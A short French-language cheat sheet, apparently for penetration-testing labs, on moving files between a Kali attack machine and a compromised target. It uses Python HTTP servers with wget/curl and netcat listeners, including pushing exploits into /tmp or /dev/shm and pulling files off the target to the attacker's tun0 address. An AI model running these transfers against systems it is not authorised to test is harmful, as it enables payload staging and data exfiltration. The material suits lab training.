Méthode la plus simple et la plus universelle : fonctionne dès que Python et wget/curl sont disponibles.
Transfert via HTTP (simple, rapide, universel)
Kali → Cible
Sur Kali (envoyer) :
cd /chemin/du/fichier python3 -m http.server 8000Sur la cible (recevoir) :
cd /chemin/du/fichier (/dev/shm ou /tmp) wget http://<adresse tun0 de kali>:8000/fichier # ou curl -O http://<adresse tun0 de kali>:8000/fichier
Cible → Kali
Sur la cible (envoyer) :
cd /chemin/du/fichier python3 -m http.server 8000Sur Kali (recevoir) :
cd /chemin/du/fichier wget http://IP_CIBLE:8000/fichier # ou curl -O http://IP_CIBLE:8000/fichier
Transfert via Netcat (nc)
Méthode brute, idéale si pas de wget, pas de curl, pas de Python Web, etc.
⚠️ Avec Netcat, le transfert est direct et sans contrôle : s’il est interrompu ou corrompu, rien ne te prévient. Cette méthode est donc surtout adaptée au transfert de petits fichiers simples (scripts, outils, exploits), quand tu veux aller vite et que la fiabilité n’est pas critique.
Kali → Cible
Sur la cible (recevoir) :
cd /chemin/du/fichier (/dev/shm ou /tmp) nc -lnvp 4444 > fichier_recuSur Kali (envoyer) :
cd /chemin/du/fichier nc IP_CIBLE 4444 < fichier_a_envoyer
Cible → Kali
Sur Kali (recevoir) :
cd /chemin/du/fichier nc -lnvp 4444 > fichier_recuSur la cible (envoyer) :
cd /chemin/du/fichier nc <adresse tun0 de kali> 4444 < fichier_a_envoyer
Résumé en une phrase
- HTTP : la machine qui envoie lance un petit serveur (
python3 -m http.server), l’autre télécharge avecwgetoucurl. - Netcat : la machine qui reçoit écoute (
nc -lnvp 4444 > fichier), l’autre se connecte et envoie (nc IP 4444 < fichier). Le port utilisé peut être choisi librement, à condition qu’il soit ouvert et disponible sur la machine qui reçoit. On utilise en général le4444mais moi j’aime bien aussi le12345.